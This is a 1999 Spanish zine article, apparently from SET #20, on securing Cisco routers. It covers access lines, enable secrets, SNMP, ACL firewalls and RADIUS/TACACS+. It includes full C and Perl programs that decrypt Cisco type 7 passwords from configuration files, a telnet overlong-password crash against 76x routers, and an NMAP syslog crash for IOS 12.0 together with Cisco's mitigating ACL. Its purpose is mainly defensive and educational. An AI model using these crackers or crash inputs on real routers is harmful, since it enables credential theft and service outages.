Copy Link
Add to Bookmark
Report

SET 020 0x11

  

-[ 0x11 ]--------------------------------------------------------------------
-[ SEGURIDAD EN ROUTERS CISCO ]----------------------------------------------
-[ by Hendrix ]-------------------------------------------------------SET-20-


/////////////////////////////////////////////////////////////////////
///// /////
///// SEGURIDAD EN ROUTERS CISCO v1.0 /////
///// /////
///// por Hendrix Julio-1999 /////
///// /////
/////////////////////////////////////////////////////////////////////


Disclamer:
Toda la informacion que a aparece en este documento ha sido extraida de
los manuales de Cisco que aparecen en su web asi que no me toqueis los
huevos con resposabilidades legales.

Introduccion:
En SET#18 escribi un articulo explicando el funcionamiento de un router
Cisco y de los comandos mas usuales del Cisco IOS (show, ping, etc..)
Lo titule curso de routers cisco I, pues bien, supuestamente esta seria
la leccion 2 pero no me gustaba el formato y he decidido cambiarlo. Que
asi mola mas. En vez de ir haciendo partes ire ampliando las versiones
de este documento, si tengo ganas, claro...

0. Indice
---------


1. Ficheros de Configuracion
2. Como acceder al router
3. Acceso Consola
4. Acceso Telnet
5. Password modo enable
6. Acceso SNMP
7. Acceso TFTP
8. Firewall
9. Autenticacion local
10. Autenticacion Remota (RADIUS/TACACS+)
11. Control de acceso PAP/CHAP
12. Firewall PIX
13. Bugs DoS


1. Ficheros de configuracion
-----------------------------

El Cisco IOS tiene solo dos ficheros, el "running-config" y el
"startup-config" que se pueden ver con el comando show en modo enable.

router# show running-config

Estos archivos se pueden modificar desde la linea de comandos del router o
cargando el fichero mediante una conexion TFTP.

El running-config es la configuracion que se esta utilizando es ese momento,
el fichero se encuentra en la memoria volatil por lo que los cambios que se
realicen no seran permanentes. Para hacer los cambios permanentes habra
que utilizar la orden.

router# copy running-config startup-config

El startup-config se graba en la memoria no volatil (NVRAM) y sera el
fichero de configuracion utilizado al reiniciar el router.



2. Como acceder al Router
--------------------------

Existen varias maneras de acceder al router:

- Consola: acceso a traves del puerto serie
- Telnet: tipico
- SNMP
- TFTP

Como ya dije en el anterior articulo, al entrar al router por telnet o
por consola nos aparece el siguiente mensaje:

User Access Verificafion
Password: *******
router>

y entramos al router en modo no-privilegiado lo que nos permite monitorizar
el trafico pero sin poder modificar la configuracion. Para acceder al modo
privilegiado:

router> enable
Password: *******
router#

Ya estamos en modo privilegiado, se diferencia por el promt #. IOS no utiliza
logins normalmente, solo passwords.


3. Acceso por Consola
-----------------------

En el fichero de configuracion nos encontramos con las siguientes lineas

line console 0 /* line con 0, tambien vale */
login
password hola
exec-timeout 1 30

Cada tipo de acceso tiene un numero de lineas asociadas, el acceso consola
tiene solo una line, el 0. Login indica el tipo de autenticacion de usuario,
en este caso ninguno. Password indica la contrase~a en claro. Se puede
encriptar de modo parecido a unix. El comando exec-timeout indica el tiempo
maximo que puede estar activa la conexion, en este caso 1 minuto 30 segundos.

En el ejemplo del pasado articulo teniamos esto:
!
line con 0
exec-timeout 40 0

No se declaraba ninguna contrase~a para acceder por consola y se establece
un timeout de 40 minutos (por defecto el timeout es de 10 minutos)


4. Acceso Telnet
------------------

Cada puerto telnet recibe el nombre de terminal virtual (VTY).

line vty 0 4
login
password prueba

En este ejemplo se configuran 5 puertos virtuales del 0 al 4 y todos
con la misma password "prueba".

Se puede restringir el acceso por telnet definiendo una lista. La listas
se definen con el siguente esquema:

>>> access-list [numero] [permit/deny] IP mascara

Ejemplo:

access-list 12 permit 192.85.55.0 0.0.0.255
line vty 0 4
access-class 12 in

En este caso se permite el acceso a los puertos vty solo desde las maquinas
de la red 192.85.55.0, las listas se explicaran mas adelante cuando hablemos
de firewalls. Se pueden definir listas del 0 al 99 y para activarlas se
utliza la orden: access-class [numero] in

Se puede acceder via telnet a diferentes puertos TCP del router. En las
versiones de IOS anteriores a 9.1(11.5), 9.21(3.2) y 10.0 (¿? cuantas
versiones, menudo caos que llevan los de cisco!) los puertos son los
siguientes:

7: Echo
9: Discard
23: Telnet
79: Finger
1993: SNMP sobre TCP

del 2001 al 2999: Telnet al puerto auxiliar (AUX), terminal (TTY) y terminal
virtual (VTY)
del 3001 al 3999: Telnet a los puertos rotary
del 4001 al 4999: Telnet modo stream, mirror del rango 2000
del 5001 al 5999: Telnet modo stream, mirror del rango 3000
del 6001 al 6999: Telnet modo binario, mirror del rango 2000
del 7001 al 7999: Telnet modo binario, mirror del rango 3000
del 8001 al 8999: Xremote (solo servidores de comunicacion)
del 9001 al 9999: Reversal Xremote (solo servidores de comunicacion)
del 10001 al 19999: Reverse Xremote rotary

Los puertos rotary (3000, 5000, 7000 y 10000) deben ser configurados
explicitamente con el comando rotary. De lo contrario no funcionaran. Por
cierto no me preguntes que significa lo de rotary ni lo de Xremote porque
yo tampoco lo se ;)

[Daemon: Xremote, que empieza por X y es distribuido?. X Windows!.
Xremote es un protocolo para "mejorar" el rendimiento de XWindows
sobre enlaces en serie.
En cuanto a rotary pues primero lo traducimos a castellano y eso
ayuda :-DD, aluego descubrimos que se trata de agrupar lineas en
"rotary groups" y mas tarde descubrimos que el grupo rotary 1 esta
en el puerto 3001, el rotary 2 en el 3002 y asi. Normalmente se hace para
distribuir lineas en DDR (Dial on Demand Routing), para "reservarse" lineas
(netadmin rules!) o..moveos vosotros que seguro que aprendeis mas]

En las versiones 9.1(11.5), 9.21(3.2), 10.0 y posteriores se arreglo el
caos de puertos abiertos quedando definitivamente asi:

7: Echo
9: Discard
23: Telnet
79: Finger
1993: SNMP sobre TCP
2001: Puerto auxiliar (AUX)
4001: Puerto auxiliar (AUX) modo stream
6001: Puerto auxiliar (AUX) modo binario

Se puede cerrar el puerto finger con el comando "no service finger", para
cerrar los puertos 7 y 9 se puede utilizar el comando "no service
tcp-small-servers"
y, para los puertos telnet, aux y SNMP se pueden
definir listas de acceso.


5. Password modo enable
-------------------------

router# enable secret pepe

Con este comando creamos una contrase~a para el modo enable, igual para
cualquier tipo de acceso (consola, telnet, ...). Recordad que para que
el cambio sea permanente es necesario copiarlo en el startup-config.

Esta contrase~a se puede encriptar con el comando enable secret.

router# configure terminal
router(config)# enable secret pepe
router(config)# exit
router# show running-config
Bulding configuration ...

Current configuration:
!
version 11.1
! bla, bla, bla ...
enable secret 5 $1$h7dd$VTNs4.BAfQMUU0Lrvmw6570
!
! bla, bla, bla ...

Entramos en modo configure y creamos la password enable, en este caso
"pepe" con el comando enable secret. Salimos y abrimos el fichero de
configuracion donde podemos ver la password encriptada.

En el manual se pide que se realicen posteriormente los pasos siguientes,
no se que sentido tienen pero lo pongo por si acaso:

router# configure terminal
router(config)# enable secret 5 $1$h7dd$VTNs4.BAfQMUU0Lrvmw6570
router(config)# exit

La clave se encripta con el algoritmo MD5, un algoritmo muy fuerte.
Finalmente se copia al startup para que los cambios sean permanentes.

router# copy running-config startup-config


6. Acceso SNMP
----------------

El comando para configurar este acceso es el siguiene,
snmp-server community <string> [RO|RW] [lista de acceso]

por ejemplo, para permitir acceso SNMP no privilegiado

snmp-server community public RO 1

Si queremos dar acceso solo desde las maquinas 1.1.1.1 y 2.2.2.2;

access-list 1 permit 1.1.1.1
access-list 1 permit 2.2.2.2
snmp-server community public RO 1

Para dar acceso al modo privilegiado con el string private:

snmp-server community private RW 1

El acceso privilegiado permite modificar la configuracion, en cambio, el no
privilegiado solo permite monitorizar el trafico.


7. Acceso TFTP
----------------

Se puede modificar el archivo de configuracion via TFTP, este metodo es
mas comodo pero tambien tiene sus peligros ya que puede ser utilizado por
otras personas para acceder al router sin autorizacion (y no miro a nadie ;))
enviando un fichero de configuracion modificado.
Ademas del TFTP se pude utilizar el Maintenance Operations Protocol (MOP),
LAT o X.25.


8. FIREWALL
-------------

Un router Cisco pueden funcionar como un firewall a nivel de red permitiendo
o denegando el acceso a IPs determinadas. Esto se consigue con las listas
de acceso:

access-list nn [permit/deny] ip IP-in Mask-in IP-out Mask-out

Para permitir el acceso a las maquinas 147.22.x.x

acces-list 101 permit ip 147.22.0.0 0.0.255.255 0.0.0.0 255.255.255.255

Se pueden filtrar por otros protocolos [tcp, udp y icmp] en lugar de por ip.
Por ejemplo, para denegar el acceso a conexiones udp a las maquinas de la
red 156.23.22.0

access-list 101 deny udp 156.23.22.0 0.0.0.255 0.0.0.0 255.255.255.255

Una opcion imprescindible en toda lista de acceso que se precie es impedir
los ataques por spoofing, es muy sencillo solo tenemos que restringir los
accesos con una ip interior que vienen del exterior, suponiendo que nuestra
red es la 123.2.0.0 solo tenemos que hacer

access-list 102 deny ip 123.2.0.0 0.0.255.255 0.0.0.0 255.255.255.255


Tambien se puede filtrar por puertos, especificando un puerto concreto (eq x)
o un rango (gt x, mas grande que x por ejemplo)

Para permitir trafico Domain Name System (DNS) y Network Time Protocol (NTP)
usamos esto:

access-list 101 permit ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255 eq 53
access-list 101 permit ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255 eq 123

Este ejemplo deniega el acceso al Network File System (NFS) usando el puerto
UDP,

access-list 101 deny udp 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255 eq 2049

...

(y podria estar escribiendo ejemplos hasta cansarme, que es precisamente
lo que acaba de pasarme ;) ... )

Despues de definir la lista de acceso es necesario guardala en la memoria no
volatil (NVRAM) y aplicarla a un interface concreto, por ejemplo

interface ethernet 0
ip access-group 101


9. Autenticacion Local
------------------------

Se pueden declarar logins y password personalizados, el comando es el
siguiente

username juan password 7 hola123
username pedro password 7 aaafr3

Con la opcion 7 el password se guarda cifrado, con 0 el password se guardaria
en claro. Al entrar al router tendriamos:

User Access Verification
Username: juan
Password: hola123
router>

La encriptacion utilizada es muy pobre y puede romperse facilmente, el motivo
es que en algunos casos, como en el protocolo CHAP, el propio router necesita
la clave en claro. El objetivo de esta esta encriptacion es impedir que
alguien obtenga la clave a simple vista. Se trata pues de una debilidad
asumida por la propia compa~ia. En el caso de la clave enable se utiliza el
algoritmo "5" que que como ya dijimos es el MD5 y es indescifrable. A
continuacion muestro dos programas, uno en C y otro en Perl que descifran el
algoritmo "7".


<++> set_020/cisco/ciscocrack.c
/* This code is originally from a Bugtraq post by
Jared Mauch <jared@puck.nether.net> . I patched it with an improved
translation table by Janos Zsako <zsako@BANKNET.NET>
-Fyodor (fyodor@dhp.com) */



#include <stdio.h>
#include <ctype.h>

char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42
};

char pw_str1[] = " password 7 ";
char pw_str2[] = "enable password 7 ";
char pw_str3[] = "ip ftp password 7 ";
char pw_str4[] = " ip ospf message-digest-key 1 md5 7 ";

char *pname;

cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;

if(strlen(enc_pw) & 1)
return(-1);

seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';

if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);

for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}

val *= 16;

if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
val += enc_pw[i] - '0';
continue;
}

if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
val += enc_pw[i] - 'A' + 10;
continue;
}

if(strlen(enc_pw) != i)
return(-1);
}

dec_pw[++i / 2] = 0;

return(0);
}

usage()
{
fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
fprintf(stdout, " %s <router config file> <output file>\n", pname);

return(0);
}

main(argc,argv)
int argc;
char **argv;

{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;

pname = argv[0];

if(argc > 1)
{
if(argc > 3) {
usage();
exit(1);
}

if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;

case 'p':
bzero(passwd, sizeof(passwd));
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
fprintf(stdout, "password: %s\n", passwd);
break;

default:
fprintf(stderr, "%s: unknow option.", pname);
}

return(0);
}

if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}

while(1) {
for(i = 0; i < 256; i++) {
if((line[i] = fgetc(in)) == EOF) {
if(i)
break;

fclose(in);
fclose(out);
return(0);
}
if(line[i] == '\r')
i--;

if(line[i] == '\n')
break;
}
pw_pos = 0;
line[i] = 0;

if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);

if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);
if(!strncmp(line, pw_str3, strlen(pw_str3)))
pw_pos = strlen(pw_str3);
if(!strncmp(line, pw_str4, strlen(pw_str4)))
pw_pos = strlen(pw_str4);

if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;
}

bzero(passwd, sizeof(passwd));
if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else if (pw_pos == strlen(pw_str2))
fprintf(out, "%s", pw_str2);
else if (pw_pos == strlen(pw_str3))
fprintf(out, "%s", pw_str3);
else if (pw_pos == strlen(pw_str4))
fprintf(out, "%s", pw_str4);


fprintf(out, "%s\n", passwd);
}
}
}
<-->

Date: Mon, 12 Jan 1998 00:36:09 +0200
From: Riku Meskanen
To: BUGTRAQ@NETSPACE.ORG
Subject: perl version of that tin opener (IOS decrypt.c)

Howdy,

Squeezed the decrypt.c[1] with perl a bit, just for seeing
better how simple that IOS type 7 encryption really is.

[1] http://www.rootshell.com/archive-Rbf4ahcmxzw5qn2S/199711/ciscocrack.c

:-) riku


<++> set_020/cisco/ciscocrack.pl
#!/usr/bin/perl -w
# $Id: ios7decrypt.pl,v 1.1 1998/01/11 21:31:12 mesrik Exp $
#
# Credits for orginal code and description hobbit@avian.org,
# SPHiXe, .mudge et al. and for John Bashinski <jbash@CISCO.COM>
# for Cisco IOS password encryption facts.
#
# Use for any malice or illegal purposes strictly prohibited!
#

@xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,
0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,
0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );

while (<>) {
if (/(password|md5)\s+7\s+([\da-f]+)/io) {
if (!(length($2) & 1)) {
$ep = $2; $dp = "";
($s, $e) = ($2 =~ /^(..)(.+)/o);
for ($i = 0; $i < length($e); $i+=2) {
$dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++];
}
s/7\s+$ep/$dp/;
}
}
print;
}
# eof
<-->


10. Autenticacion Remota ( RADIUS / TACACS+ )
----------------------------------------------

Cuando se tiene un numero elevado de routers llevar un control de password
local en cada un de ellos puede suponer un follon considerable. La opcion
utilizada en estos casos es instalar un servidor de autenticacion remota.
Las posibles opciones son RADIUS (Remote Authentication Dial-In User
Service) y TACACS+ (Terminal Access Controller Access Control System con
mejoras propietarias de Cisco), estos sistemas se implementan generalmente
en servidores Unix. Estos protocolos estan definidos en sus orrespondientes
RFC.

Primeramente hay que configurar en el router la maquina que hara de servidor
de control de acceso. Por ejemplo,

tacacs-server host 194.147.12.12
tacacs-server key pepito

En este ejemplo se define la IP del servidor TACACS+ y la clave de cifrado
para las comunicaciones entre el router y el servidor "pepito". Igualmente
para RADIUS tenemos,

radius-server host alcatraz
radius-server key pepito
radius-server retransmit 4
radius-server timeout 12

Se puede indicar el nombre del servidor de control de acceso en lugar de su
IP, ademas tambien es posible otras opciones como indicar el numero de
intentos maximos o el numero de segundos maximos permitido.

El comando "tacacs-server last-resort [password|succeed] es interesante ya
que indica la forma de autenticar en caso de que el servidor tacacs no
funcione. La opcion password definiria un password y la opcion succeed
permitiria acceder sin password (una opcion muuuy peligrosa!!!!).

Para que un usuario se autentifique en el servidor RADIUS utilizamos,

line vty 0 4
login radius

o si usamos TACACS+,

line vty 0 4
login tacacs


11. Control de acceso PAP/CHAP
-------------------------------

Si queremos cifrar las passwords sin utilizar claves nos encontramos con
un dilema. Podemos enviar las claves en claro y mantener un directorio
de claves cifradas en el servidor (ej, /etc/passwd) o por el contrario
podemos enviar la clave cifrada guardar una copia en claro en el servidor.
PAP es una implementacion de la primera opcion y CHAP es una implementacion
de la segunda. PAP es susceptible a ataques de sniffers y CHAP lo es frente
a intrusiones en el servidor.

En Infovia, el protocolo PPP utiliza PAP para enviar la contrase~a. Lo que
permitiria capturarla si pinchasemos la linea telefonica del usuario.

Si emplemos un control de acceso para una red de routers con un RADIUS o
con TACACS+, se aconseja utilizar CHAP ya que el servidor se supone seguro.


12. PIX Firewall
-----------------

El PIX Firewall es un aparato que realiza las funciones de firewall. Tiene
la ventaja de que funciona con Cisco IOS y que es un aparato dedicado por lo
que en principio deberia de tener pocos bugs en su S.O.
Existen varios modelos en funcion del trafico que deben soportar. En
principio parece una buena opcion compacta de Firewall a todos los niveles.
Se puede programar por telnet o por web y permite las mismas prestaciones de
filtrar y crer logs que otros softwares como el famoso Firewall-1.


13. Bugs DoS
-------------

El Cisco IOS es un S.O. dedicado por lo que es muy dificil encontrar bugs
que permitan un acceso en modo privilegiado, lo que si existen son varios
bugs que provocan un bloqueo de la maquina o la obligan a reiniciar. Por
supuesto Cisco pone a disposicion toda una serie de parches y nuevas versiones
del IOS que corrigen estos errores. Si quieres mas informacion sobre estos
bugs puedes recurrir a los sitios de siempre: Bugtraq, CERT o la propia
Cisco...

Como ejemplo pondre un par de ataques DoS que he encontrado por ahi:

a)---------------------------------------------------

Date: Thu, 11 Dec 1997 01:11:13 -0500
From: Laslo Orto <Laslo@CPOL.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: cisco 76x buffer overflow

El exploit es muy simple y cuelga los modelos mas sencillos de cisco, los
76x con la version del IOS restringida a 4 usuarios, ejemplo:

telnet cisco762.domain.com
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.
Enter Password:Poner_una_contrase~a_muyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
yyyyyyyyyyyyyyyyyyyyyyyyyyyy_larga

y podreis disfrutar un maravilloso espectaculo de luces que significa que el
router esta reiniciando.


b)----------------------------------------------------


Date: Tue, 22 Dec 1998 13:39:30 -0800
From: John Bashinski <jbash@CISCO.COM>
Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
To: BUGTRAQ@netspace.org
Subject: Cisco IOS 12.0 security bug

Se nos ha reportado que un escaneo UDP con la herramienta NMAP provoca
un crash en la version Cisco IOS 12.0 y hemos confirmado que el problema
existe y que afecta a todas las variantes de la version 12.0 asi como
a varias variantes de la version 11.3.

El problema parece causado por el envio de paquetes al puerto syslog del
router (puerto UDP 514). Se puede solucionar a~adiendo una lista de acceso
que restrinja ese puerto, algo parecido a esto:

! Deny all multicasts to port 514
access-list 101 deny udp any 224.0.0.0 31.255.255.255 eq 514
! Deny old-style broadcasts
access-list 101 deny udp any host 0.0.0.0 eq 514
! Deny network-specific broadcasts (*example*; depends on local netmasks)
access-list 101 deny udp any 192.31.7.255 eq 514
! Deny router's own addresses
access-list 101 deny udp any host <router-addr-1> eq 514
access-list 101 deny udp any host <router-addr-2> eq 514
access-list 101 deny udp any host <router-addr-3> eq 514
... etc ...
access-list 101 permit ip any any

interface <interface-1>
ip access-group 101 in

interface <interface-2>
ip access-group 101 in

... etc ...

Si encuentras algun ataque como este, por favor reportalo a Cisco a la
direccion "
security-alert@cisco.com".

Para mas informacion sobre procedimiento de seguridad de Cisco ver,

http://www.cisco.com/warp/customer/791/sec_incident_response.shtml

-- J. Bashinski
Cisco Systems


Esto es todo por hoy
Hendrix
hendrix66@iname.com



← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

lostcivilizations's profile picture
Lost Civilizations (@lostcivilizations)
6 Nov 2024
Thank you! I've corrected the date in the article. However, some websites list January 1980 as the date of death.

guest's profile picture
@guest
5 Nov 2024
Crespi died i april 1982, not january 1980.

guest's profile picture
@guest
4 Nov 2024
In 1955, the explorer Thor Heyerdahl managed to erect a Moai in eighteen days, with the help of twelve natives and using only logs and stone ...

guest's profile picture
@guest
4 Nov 2024
For what unknown reason did our distant ancestors dot much of the surface of the then-known lands with those large stones? Why are such cons ...

guest's profile picture
@guest
4 Nov 2024
The real pyramid mania exploded in 1830. A certain John Taylor, who had never visited them but relied on some measurements made by Colonel H ...

guest's profile picture
@guest
4 Nov 2024
Even with all the modern technologies available to us, structures like the Great Pyramid of Cheops could only be built today with immense di ...

lostcivilizations's profile picture
Lost Civilizations (@lostcivilizations)
2 Nov 2024
In Sardinia, there is a legend known as the Legend of Tirrenide. Thousands of years ago, there was a continent called Tirrenide. It was a l ...

guest's profile picture
@guest
2 Nov 2024
What is certain is that the first Greek geographer to clearly place the Pillars of Hercules at Gibraltar was Eratosthenes (who lived between ...

guest's profile picture
@guest
1 Nov 2024
Disquieting thc drinks has been quite the journey. As someone keen on unpretentious remedies, delving into the in every respect of hemp has ...

guest's profile picture
@guest
29 Oct 2024
hi Good day I am writing to inform you of recent developments that may impact our ongoing operations. This morning, global news outlets hav ...
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT